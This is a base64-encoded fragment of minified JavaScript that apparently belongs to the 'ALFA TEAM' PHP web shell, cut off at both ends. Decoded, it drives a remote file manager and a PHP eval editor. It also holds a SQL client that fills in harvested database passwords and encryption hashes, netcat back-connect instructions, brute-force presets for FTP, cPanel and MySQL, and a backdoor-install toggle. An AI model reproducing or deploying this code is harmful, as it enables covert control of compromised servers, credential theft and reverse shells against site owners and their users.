saWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJytzKyIgIyA/Jyk7IGNoayA/IGcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLCAnIitzKyInKSA6ICcnO1wiPiBYIDwvYT48L3RkPjwvdHI+In1kLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAjZmlsZW1hbmFnZXJfbGFzdF90ciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLGwpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJGaWxlKHMpIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSIsIlVwbG9hZGVyIiksYWxmYUZtbmdyQ29udGV4dFJvdygpfWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oIkZvbGRlciBoYXMgbm8gcGVybWlzc2lvbi4uLiIsIlVwbG9hZGVyIiwiZXJyb3IiKTthbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoaSl9fSxhLm9wZW4oIlBPU1QiLGQuVVJMKSxhLnNlbmQobCl9fWZ1bmN0aW9uIGFsZmFDaGVja0N1cnJlbnRGaWxlc01hblRhYihlKXstMT09JCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmJCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKX1mdW5jdGlvbiBnKGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCl7dmFyIGZtX2lkPTA9PWFsZmFfZm1faWQ/YWxmYV9jdXJyZW50X2ZtX2lkOmFsZmFfZm1faWQsZm1faWQyPWFsZmFfZm1faWQsZm1fcGF0aD1udWxsPT1jfHwwPT1jLmxlbmd0aD9jXzpjLGRfbWZfYz1mbV9wYXRoLGdfYWN0aW9uX2lkPWFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZDswPT1hbGZhX2ZtX2lkJiYoc2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCksZF9tZl9jPWQubWYuYy52YWx1ZSksIkdldENvbmZpZyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiZpc2xpbnV4JiYiLyIhPWRfbWZfYy5zdWJzdHIoMCwxKSYmKGRfbWZfYz0iLyIrZF9tZl9jKSwiRmlsZXNNYW4iPT1hPyhhbGZhbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIitmbV9pZCwiYmxvY2siKSxnX2FjdGlvbl9pZD0iZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpOiIiIT1nX2FjdGlvbl9pZD9hbGZhbG9hZGVyKGdfYWN0aW9uX2lkLCJibG9jayIpOiJGaWxlc1Rvb2xzIiE9YSYmImRvd25sb2FkIiE9YWxmYTImJiJHZXRDb25maWciIT1hJiYoInNxbCI9PWE/KHNob3dFZGl0b3IoImRhdGFiYXNlX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcERhdGFiYXNlKCIiKSk6IkZpbGVzTWFuIiE9YSYmKHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IiksZ19hY3Rpb25faWQ9bG9hZFBvcFVwT3BUaW9ucyhhKSksYWxmYWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKSk7Zm9yKHZhciBkYXRhPSJhPSIrYWxmYWI2NChhKSsiJmM9IithbGZhYjY0KGRfbWZfYykrIiYiLGk9MTtpPD0xMDtpKyspZGF0YSs9ImFsZmEiK2krIj0iK2FsZmFiNjQoZXZhbCgiZC5tZi5hbGZhIitpKyIudmFsdWUiKSkrIiYiO2lmKCJGaWxlc01hbiI9PWEpe3ZhciBwYWdlbnVtPWQucXVlcnlTZWxlY3RvcigiIyIrZ19hY3Rpb25faWQrIiAucGFnZS1udW1iZXIuYWN0aXZlLXBhZ2UtbnVtYmVyIik7bnVsbCE9cGFnZW51bSYmKGRhdGErPSJwYWdlbnVtPSIrYWxmYWI2NChnZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIpKSxzZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIsMSwyMDEyKSl9aWYoZGF0YSs9IiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLCJGaWxlc1Rvb2xzIj09YSYmImRvd25sb2FkIj09YWxmYTIpe2FsZmFMb2FkZXJPblRvcCgibm9uZSIpO3ZhciBkbD0kKCJkbEZvcm0iKTtyZXR1cm4gZGwuYS52YWx1ZT1hbGZhYjY0KCJkbGZpbGUiKSxkbC5jLnZhbHVlPWFsZmFiNjQoZF9tZl9jKSxkbC5maWxlLnZhbHVlPWFsZmFiNjQoYWxmYTEpLHZvaWQgZGwuc3VibWl0KCl9IkdldENvbmZpZyIhPWE/KF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSx0KXtldmFsSlMoZSk7dmFyIGk9ITE7aWYoYWxmYUxvYWRlck9uVG9wKCJub25lIiksInNxbCI9PWEpcmV0dXJuIGNvbnNvbGUubG9nKHQpLGxvYWRQb3BVcERhdGFiYXNlKGUsdCksITE7aWYoIkZpbGVzTWFuIj09YSl7YWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsIm5vbmUiKSxkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl9ob2xkZXJfIitmbV9pZCkuaW5uZXJIVE1MPWUsZm1fcGF0aD1mbV9wYXRoLnJlcGxhY2UoL1wvXC8vZywiLyIpLCQoImZpbGVzbWFuX3RhYl8iK2ZtX2lkKS5zZXRBdHRyaWJ1dGUoInBhdGgiLGZtX3BhdGgpO3ZhciBsPWFsZmFHZXRMYXN0Rm9sZGVyTmFtZShmbV9wYXRoKTtkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl90YWJfIitmbV9pZCsiIHNwYW4iKS5pbm5lckhUTUw9bCxhbGZhRm1uZ3JDb250ZXh0Um93KCksImZ1bmN0aW9uIj09dHlwZW9mIGFsZmExJiZhbGZhMShlKSxhbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZm1faWQpfWVsc2Uob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkfHwiLiI9PXQuc3Vic3RyKDAsMSkpJiYiLiI9PXQuc3Vic3RyKDAsMSkmJihpPSEwLHQ9dC5zdWJzdHIoMSksc2hvd0VkaXRvcigib3B0aW9uc193aW5kb3ciKSksaXx8YWxmYWxvYWRlcih0LCJub25lIiksbG9hZFBvcFVwT3BUaW9ucyh0LGUpLCJwaHBldmFsIj09YSYmYWxmYUxvYWRBY2VFZGl0b3IoIlBocENvZGUiKSwiY29sZHVtcGVyIj09YS5zdWJzdHIoMCw5KSYmYWxmYUNvbER1bXBlckluaXQoKX0sITEsIiI9PWdfYWN0aW9uX2lkPyIuIithOmdfYWN0aW9uX2lkKSxnX2FjdGlvbl9pZD0iIiwwPT1mbV9pZDImJmMhPWNfJiZjJiZpbml0RGlyKGMpKTooYWxmYWxvYWRlcihhbGZhMywiYmxvY2siKSxfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsYSl7dmFyIHQ9YTthPWQucXVlcnlTZWxlY3RvcigiIyIrKCJpZF9kYiIhPWEuc3Vic3RyKDAsNSk/Im9wdGlvbl8iK2E6YSkpO3RyeXsoZT1KU09OLnBhcnNlKGUpKS5ob3N0JiZlLnVzZXImJmUuZGJuYW1lJiYoJCgiZGJfaG9zdCIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfaG9zdCIpLnZhbHVlPWUuaG9zdCksJCgiZGJfdXNlciIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfdXNlciIpLnZhbHVlPWUudXNlciksJCgiZGJfbmFtZSIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfbmFtZSIpLnZhbHVlPWUuZGJuYW1lKSwkKCJkYl9wdyIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHciKS52YWx1ZT1lLnBhc3N3b3JkKSwkKCJkYl9wcmVmaXgiKSYmZS5wcmVmaXgmJihhLnF1ZXJ5U2VsZWN0b3IoIiNkYl9wcmVmaXgiKS52YWx1ZT1lLnByZWZpeCksJCgiY2NfZW5jcnlwdGlvbl9oYXNoIikmJmUuY2NfZW5jcnlwdGlvbl9oYXNoJiYoYS5xdWVyeVNlbGVjdG9yKCIjY2NfZW5jcnlwdGlvbl9oYXNoIikudmFsdWU9ZS5jY19lbmNyeXB0aW9uX2hhc2gpKX1jYXRjaChlKXt9YWxmYWxvYWRlcih0LCJub25lIil9LCExLGFsZmEzKSl9ZnVuY3Rpb24gYWxmYUdldExhc3RGb2xkZXJOYW1lKGUpe3ZhciBhPWUucmVwbGFjZSgvXC9cLy9nLCIvIikuc3BsaXQoIi8iKTtmb3IodmFyIHQgaW4gYSkwPT1hW3RdLmxlbmd0aCYmYS5zcGxpY2UodCwxKTt2YXIgaT1hW2EubGVuZ3RoLTFdO3JldHVybiAwPT1pLmxlbmd0aCYmKGk9Ii8iKSxpfWZ1bmN0aW9uIGFsZmFsb2FkZXIoZSxhKXtpZigwPT1lLmxlbmd0aClyZXR1cm4hMTt0cnl7dmFyIHQ9JCgibG9hZGVyXyIrZSk7aWYobnVsbD09dCYmImJsb2NrIj09YSl7dmFyIGk9bnVsbDsiZWRpdG9yIj09ZT9pPWQucXVlcnlTZWxlY3RvcigiI2VkaXRvciAuZWRpdG9yLW1vZGFsIik6ImlkX2RiIj09ZS5zdWJzdHIoMCw1KT9pPSQoZSk6InRlcm1pbmFsX2lkIj09ZS5zdWJzdHIoMCwxMSk/aT0kKGUpOiJlZGl0b3IiPT1lLnN1YnN0cigwLDYpP2k9JChlKToiY2dpZnJhbWUiPT1lP2k9JCgiY2dpZnJhbWUiKToiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSk/KGk9JChlKSkuc3R5bGUubWluSGVpZ2h0PSIzMDBweCI6aT0kKCJvcHRpb25fIitlKSxpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgaWQ9J2xvYWRlcl8iK2UrJ1wnIGNsYXNzPSJvcHRpb25zLWxvYWRlci1ob2xkZXIiPjxkaXYgcGFyZW50PSInK2UrJyIgb25jbGljaz0iYWxmYUFqYXhDb250cm9sbGVyKHRoaXMpOyIgY2xhc3M9InN0b3BBamF4Ij5bIFN0b3AgaXQgXTwvZGl2PjxkaXYgY2xhc3M9ImFsZmF0ZWFtLWxvYWRlci10ZXh0Ij5BTEZBIFRFQU08L2Rpdj48ZGl2IGNsYXNzPSJhbGZhLWFqYXgtZXJyb3IiPjwvZGl2PjxpbWcgc3JjPVwnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvbG9hZGVyLnN2Z1wnPjwvZGl2PicpfWVsc2UiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSkmJigkKGUpLnN0eWxlLm1pbkhlaWdodD0iMCIpLG51bGwhPXQmJih0LnN0eWxlLmRpc3BsYXk9YSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBmcyhlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSx0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIGRpdi5zZiIpO215c3FsX2NhY2hlLmhhc093blByb3BlcnR5KGEpfHwobXlzcWxfY2FjaGVbYV09e30pLGFsZmFsb2FkZXIoYSwiYmxvY2siKTt2YXIgaT10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWUsbD10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2xvZ2luXSIpLnZhbHVlLG89dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9wYXNzXSIpLnZhbHVlLHI9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpP3QucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKS52YWx1ZTp0LnF1ZXJ5U2VsZWN0b3IoInNlbGVjdFtuYW1lPXNxbF9iYXNlXSIpLnZhbHVlLG49dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT10eXBlXSIpLnZhbHVlLHM9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkPyJ0cnVlIjoiIjtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIlNxbCIpKyImYWxmYTE9IithbGZhYjY0KCJxdWVyeSIpKyImYWxmYTI9JmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IithbGZhYjY0KCJVVEYtOCIpKyImdHlwZT0iK2FsZmFiNjQobikrIiZzcWxfaG9zdD0iK2FsZmFiNjQoaSkrIiZzcWxfbG9naW49IithbGZhYjY0KGwpKyImc3FsX3Bhc3M9IithbGZhYjY0KG8pKyImc3FsX2Jhc2U9IithbGZhYjY0KHIpKyImc3FsX2NvdW50PSIrYWxmYWI2NChzKSsiJmN1cnJlbnRfbXlzcWxfaWQ9IithbGZhYjY0KGEpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcERhdGFiYXNlKGUsYSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhKX1mdW5jdGlvbiBjdGxiYyhlKXt2YXIgYT0kKCJiY1N0YXR1cyIpLHQ9JCgiYmNpcEFjdGlvbiIpOyJiaW5kIj09ZS52YWx1ZT8odC5zdHlsZS5kaXNwbGF5PSJub25lIixhLmlubmVySFRNTD0iPHNtYWxsPlByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uIGFuZCBydW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyBzZXJ2ZXJfaXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyPC9zbWFsbD4iKToodC5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLGEuaW5uZXJIVE1MPSI8c21hbGw+UnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgLWwgLXYgLXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbjwvc21hbGw+Iil9ZnVuY3Rpb24gJChlKXtyZXR1cm4gZC5nZXRFbGVtZW50QnlJZChlKX1mdW5jdGlvbiBhZGRuZXd1cCgpe3ZhciBlPSJmb290ZXJ1cF8iK3VwY291bnQsYT0icGZvb3RlcnVwXyIrdXBjb3VudCx0PTEhPXVwY291bnQ/InBmb290ZXJ1cF8iKyh1cGNvdW50LTEpOiJwZm9vdGVydXAiLGk9ZC5jcmVhdGVFbGVtZW50KCJwIik7aS5pbm5lckhUTUw9JzxsYWJlbCBjbGFzcz0iaW5wdXRmaWxlIiBmb3I9IicrZSsnIj48c3BhbiBpZD0iX19mbmFtZXVwJyt1cGNvdW50KyciPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9IicrZSsnIiB0eXBlPSJmaWxlIiBuYW1lPSJmW10iIG9uQ2hhbmdlPSJoYW5kbGV1cCh0aGlzLCcrdXBjb3VudCsnKTsiIG11bHRpcGxlPicsaS5pZD1hLGkuYXBwZW5kQWZ0ZXIoJCh0KSksdXBjb3VudCsrfWZ1bmN0aW9uIGFsZmFfc2VhcmNoZXJfdG9vbChlKXtzd2l0Y2goZSl7Y2FzZSJhbGwiOmNhc2UiZGlycyI6X2FsZmFTZXQoITAsIkRpc2FibGVkIik7YnJlYWs7Y2FzZSJmaWxlcyI6X2FsZmFTZXQoITEsInBocCIpfX1mdW5jdGlvbiBfYWxmYVNldChlLGEpe2Quc3JjaC5leHQuZGlzYWJsZWQ9ZSxkLnNyY2guZXh0LnZhbHVlPWF9ZnVuY3Rpb24gZGlzX2lucHV0KGUpe3N3aXRjaChlKXtjYXNlInBocG15YWRtaW4iOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImh0dHA6Ly8iKTticmVhaztjYXNlImRpcmVjdCI6YnJ1dGVTZXQoITEsIjIyMjIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJjcCI6YnJ1dGVTZXQoITEsIjIwODIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHAiOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImZ0cDovLyIpO2JyZWFrO2Nhc2UibXlzcWwiOmJydXRlU2V0KCExLCIzMzA2IiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwYyI6YnJ1dGVTZXQoITEsIjIxIiwiaHR0cDovLyIpfX1mdW5jdGlvbiBicnV0ZVNldChlLGEsdCl7Yz0iMjEiIT1hPyJsb2NhbGhvc3QiOiJmdHAuZXhhbXBsZS5jb20iLCQoInBvcnQiKS5kaXNhYmxlZD1lLCQoInBvcnQiKS52YWx1ZT1hLCQoInRhcmdldCIpLnZhbHVlPWMsJCgicHJvdG9jb2wiKS52YWx1ZT10fWZ1bmN0aW9uIGluQmFja2Rvb3IoZSl7Im15Ij09ZS52YWx1ZT8kKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjokKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIHNhdmVCeUtleShlKXtyZXR1cm4hKCJzIj09U3RyaW5nLmZyb21DaGFyQ29kZShlLndoaWNoKS50b0xvd2VyQ2FzZSgpJiZlLmN0cmxLZXl8fDE5PT1lLndoaWNoKXx8KCQoImVkaXRvcl9lZGl0X2FyZWEiKS5vbnN1Ym1pdCgpLGUucHJldmVudERlZmF1bHQoKSwhMSl9ZnVuY3Rpb24gYWxmYUFqYXhFcnJvcihlLGEsdCxpKXtpZih2b2lkIDAhPT1hKXt2YXIgbD1kLnF1ZXJ5U2VsZWN0b3IoIiNsb2FkZXJfIithKTtudWxsIT1sJiYoZmlyZXdhbGw9IiIsNDAzPT1lJiYoZmlyZXdhbGw9IiB+IEZpcmVXYWxsIERldGVjdGVkISIpLGwucXVlcnlTZWxlY3RvcigiaW1nIikucmVtb3ZlKCksbC5xdWVyeVNlbGVjdG9yKCIuYWxmYS1hamF4LWVycm9yIikuaW5uZXJIVE1MPWUrIiAoICIrdCtmaXJld2FsbCsiICkiLGFsZmFTaG93Tm90aWZpY2F0aW9uKHQsIkFqYXgiLCJlcnJvciIpKX19ZnVuY3Rpb24gYWxmYUluaXRDd2RDb250ZXh0KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuaGVhZGVyX3B3ZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5hZGRFdmVudExpc3RlbmVyKCJjb250ZXh0bWVudSIsZnVuY3Rpb24oZSl7dmFyIGE9ZS50YXJnZXQuZ2V0QXR0cmlidXRlKCJwYXRoIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9bmV3dGFiXSIpO3Quc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApOyIpLHQucmVtb3ZlQXR0cmlidXRlKCJ0YXJnZXQiKSx0Lm9uY2xpY2s9ZnVuY3Rpb24oKXthbGZhRmlsZXNNYW5OZXdUYWIoYSwiLyIpfTt2YXIgaT1lLmNsaWVudFgsbD1lLmNsaWVudFk7YWxmYVNvcnRNZW51SXRlbXMoWyJuZXd0YWIiXSksYWxmYVJpZ2h0Q2xpY2tNZW51KGksbCksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhUmlnaHRDbGlja01lbnUoZSxhKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC50b3A9YSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LmxlZnQ9ZSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnZpc2liaWxpdHk9InZpc2libGUiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0Lm9wYWNpdHk9IjEifWZ1bmN0aW9uIGFsZmFTb3J0TWVudUl0ZW1zKGUpe3ZhciBhPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiLCJ2aWV3X2FyY2hpdmUiXSx0PSExO2Zvcih2YXIgaSBpbiBhKXtmb3IodmFyIGwgaW4gdD0hMSxlKWFbaV0hPWVbbF18fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHQ9ITApO3R8fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0ibm9uZSIpfX1mdW5jdGlvbiBhbGZhQWNlQ2hhbmdlU2V0dGluZyhlLGEpe3ZhciB0PWUub3B0aW9uc1tlLnNlbGVjdGVkSW5kZXhdLnZhbHVlLGk9ZS5nZXRBdHRyaWJ1dGUoImJhc2UiKSxsPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09aSYmKGw9YWxmYV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbz1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7ImxhbmciPT1hP2xbb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS8iK3QpOiJ0aGVtZSI9PWEmJmxbb10uc2V0VGhlbWUoImFjZS90aGVtZS8iK3QpLHNldENvb2tpZSgiYWxmYV9hY2VfIithKyJfIitpLHQsMjAxMil9ZnVuY3Rpb24gYWxmYUFjZUNoYW5nZVdyYXBNb2RlKGUsYSl7dmFyIHQ9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1hJiYodD1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBpPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTtlLmNoZWNrZWQ/dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKTp0W2ldLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITEpfWZ1bmN0aW9uIGFsZmFBY2VDaGFuZ2VGb250U2l6ZShlLGEsdCl7dmFyIGk9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1lJiYoaT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBsPXQuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKSxvPWlbbF0uZ2V0Rm9udFNpemUoKTsiKyI9PWE/KytvOi0tbyxpW2xdLnNldEZvbnRTaXplKG8pLHNldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfIitlLG8sMjAxMil9ZnVuY3Rpb24gc2V0Q29va2llKGUsYSx0KXt2YXIgaT1uZXcgRGF0ZTtpLnNldFRpbWUoaS5nZXRUaW1lKCkrMjQqdCo2MCo2MCoxZTMpO3ZhciBsPSJleHBpcmVzPSIraS50b1VUQ1N0cmluZygpO2RvY3VtZW50LmNvb2tpZT1lKyI9IithKyI7IitsKyI7cGF0aD0vIn1mdW5jdGlvbiBnZXRDb29raWUoZSl7dmFyIGE9KCI7ICIrZG9jdW1lbnQuY29va2llKS5zcGxpdCgiOyAiK2UrIj0iKTtpZigyPT1hLmxlbmd0aClyZXR1cm4gYS5wb3AoKS5zcGxpdCgiOyIpLnNoaWZ0KCl9ZnVuY3Rpb24gZWRpdG9yQ2xvc2UoZSl7aWYoZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIixlbGVtPSQoZSksZWxlbS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tY2xvc2UiKSwiZWRpdG9yIj09ZSl7aWYoaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiZudWxsIT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcil7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yKWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2FdLmRlc3Ryb3koKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvcj1udWxsLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmlubmVySFRNTD0iIn19ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSlwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiYoZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50cyIpLmlubmVySFRNTD0iIikscGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxjZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7aWYob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZXZhbCl7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZXZhbClhbGZhX2FjZV9lZGl0b3JzLmV2YWxbYV0uZGVzdHJveSgpO2FsZmFfYWNlX2VkaXRvcnMuZXZhbD1udWxsLGQucXVlcnlTZWxlY3RvckFsbCgiLnBocC1ldmFscyIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5yZW1vdmVBdHRyaWJ1dGUoImFjZSIpfSl9fWVsc2UiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlbGVtPSQoZSksZWxlbS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksZWxlbS5zdHlsZS5kaXNwbGF5PSJub25lIiwib3B0aW9uc193aW5kb3ciPT1lJiYoZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc190YWIiKS5pbm5lckhUTUw9IiIsZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19jb250ZW50IikuaW5uZXJIVE1MPSIiKX0sMWUzKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCl7dmFyIGU9e2NnaWxvYWRlcjpjZ2lfaXNfbWluaW1pemVkLG9wdGlvbnNfd2luZG93Om9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCxkYXRhYmFzZV93aW5kb3c6ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCxlZGl0b3I6aXNfbWluaW1pemVkfSxhPVtdO2Zvcih2YXIgdCBpbiBlKWVbdF0mJmEucHVzaCh0KTsxPT1hLmxlbmd0aD8kKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSI6Mj09YS5sZW5ndGg/KCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjUwJSIpOjM9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI2MCUiKTo0PT1hLmxlbmd0aCYmKCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIiwkKGFbMl0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjU1JSIsJChhWzNdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI4MCUiKX1mdW5jdGlvbiBzaG93RWRpdG9yKGUpe2lmKCQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLXNob3ciKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLWhpZGUiKSwiZWRpdG9yIj09ZSlpc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSljZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExO3ZhciBhPWQucXV